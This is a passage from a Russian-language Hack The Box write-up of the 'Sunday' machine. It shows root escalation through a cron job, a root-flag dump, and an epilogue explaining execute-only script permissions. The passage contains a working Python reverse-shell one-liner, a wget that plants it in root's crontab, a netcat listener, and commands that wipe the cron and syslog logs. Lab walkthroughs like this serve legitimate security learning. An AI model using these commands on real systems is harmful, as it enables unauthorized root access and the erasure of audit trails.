* * * * * /usr/bin/python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",31337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()' > /dev/null 2>&1
Загрузим нашу прелесть на жертву в суперпользовательский crontab:
sammy@sunday:~$ sudo /usr/bin/wget 10.10.14.14:8881/cronjob -O /var/spool/cron/crontabs/root
--12:30:12-- http://10.10.14.14:8881/cronjob
=> `/var/spool/cron/crontabs/root'
Connecting to 10.10.14.14:8881... connected.
HTTP request sent, awaiting response... 200 OK
Length: 287 [application/octet-stream]
100%[=================================================>] 287 --.--K/s
12:30:13 (40.79 MB/s) - `/var/spool/cron/crontabs/root' saved [287/287]
Перезапустим cron, чтобы он увидел изменения (т. к. создавали задание не через crontab
):
sammy@sunday:~$ svcadm restart cron
И через пару секунд получим отстук на netcat, а там уже привычное:
root@kali:~# nc -nlvvp 31337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::31337
Ncat: Listening on 0.0.0.0:31337
Ncat: Connection from 10.10.10.76.
Ncat: Connection from 10.10.10.76:56297.
root@sunday:~# whoami
root
root@sunday:~# id
uid=0(root) gid=0(root)
root@sunday:~# cat /root/root.txt
fb40fab6????????????????????????
В логах (которые мы сейчас почистим) видно, что все прошло успешно:
root@sunday:~# cat /var/cron/log
! *** cron started *** pid = 19567 Thu Oct 11 12:30:19 2018
> CMD: /usr/bin/python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",31337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()' > /dev/null 2>&1
> root 19947 c Thu Oct 11 12:31
root@sunday:~# > /var/cron/log
root@sunday:~# > /var/log/syslog
Sunday пройден
Эпилог
overwrite
В домашней директории суперпользователя лежит преинтереснейший файл, который не могу не показать:
root@sunday:~# ls -la
total 18
drwx------ 6 root root 13 2018-04-24 10:31 .
drwxr-xr-x 26 root root 27 2018-04-24 12:57 ..
-rw-r--r-- 1 root root 280 2009-05-14 21:18 .bashrc
drwx------ 3 root root 3 2018-04-15 20:22 .config
drwx------ 3 root root 3 2018-10-08 18:33 .gconf
drwx------ 2 root root 3 2018-04-15 20:23 .gconfd
-rwx------ 1 root root 112 2018-04-24 10:48 overwrite
-rw-r--r-- 1 root root 611 2009-05-14 21:18 .profile
-rw------- 1 root root 1365 2018-04-15 20:23 .recently-used.xbel
-r-------- 1 root root 33 2018-04-15 20:38 root.txt
drwx------ 3 root root 3 2018-04-15 20:30 .sunw
-r-x--x--x 1 root root 53 2018-10-08 21:10 troll
-rw------- 1 root root 53 2018-04-24 10:35 troll.original
root@sunday:~# cat overwrite
#!/usr/bin/bash
while true; do
/usr/gnu/bin/cat /root/troll.original > /root/troll
/usr/gnu/bin/sleep 5
done
root@sunday:~# ps auxww | grep overwrite
root 517 0.1 0.1 5928 2180 ? S 16:05:38 0:02 /usr/bin/bash /root/overwrite
Встречайте: overkill
overwrite
— скрипт, перезаписывающий /root/troll
, оригинальным содержимым раз в 5 секунд. Поэтому ранее говорилось о том, что с первого раза диверсия по подмене troll’а могла не получиться.
agent22.backup
root@sunday:~# ls -la /backup
total 5
drwxr-xr-x 2 root root 4 2018-04-15 20:44 .
drwxr-xr-x 26 root root 27 2018-04-24 12:57 ..
-r-x--x--x 1 root root 53 2018-04-24 10:35 agent22.backup
-rw-r--r-- 1 root root 319 2018-04-15 20:44 shadow.backup
root@sunday:~# cat /backup/agent22.backup
#!/usr/bin/bash
/usr/bin/echo "testing"
/usr/bin/id
Когда мы гуляли по файловой системе под пользователем sunny, в директории /backup
рядом с хешами паролей лежал еще один файл (agent22.backup
), просмотреть который мы не могли (который носит имя создателя машины, кстати). Внутри оказалось то же самое, что и в /root/troll
— файлы идентичны. Самое интересное в другом: если посмотреть на биты прав доступа, можно заметить, что несмотря на то, что мы не можем прочитать файл, мы можем его исполнить. Давайте попробуем это сделать:
sunny@sunday:/backup$ ./agent22.backup
/usr/bin/bash: ./agent22.backup: Permission denied
Запрет. Почему?
Ответ прост: когда речь заходит о выполнении файлов (типа такого ./executable
), то возможны 2 ситуации:
- Этот файл — бинарник (ELF), и тогда ядро сначала проверяет наличие необходимых прав у пользователя, запросившего выполнение, а потом только читает его (файл) и загружает в память.
- Этот файл — скрипт интерпретируемого языка (python, bash, perl и т. д.), и в этом случае сначала интерпретатор загружается в память от имени текущего пользователя, а уже после этого интерпретатор читает и выполняет файл.
Наш случай второй. Так как это bash-скрипт, то выполнять (выполнять = прочитать содержимое + запустить) его будет, очевидно, bash-интерпретатор, который в свою очередь запущен от имени sunny, и у которого поэтому не достаточно прав для прочтения файла со скриптом. Тайна раскрыта!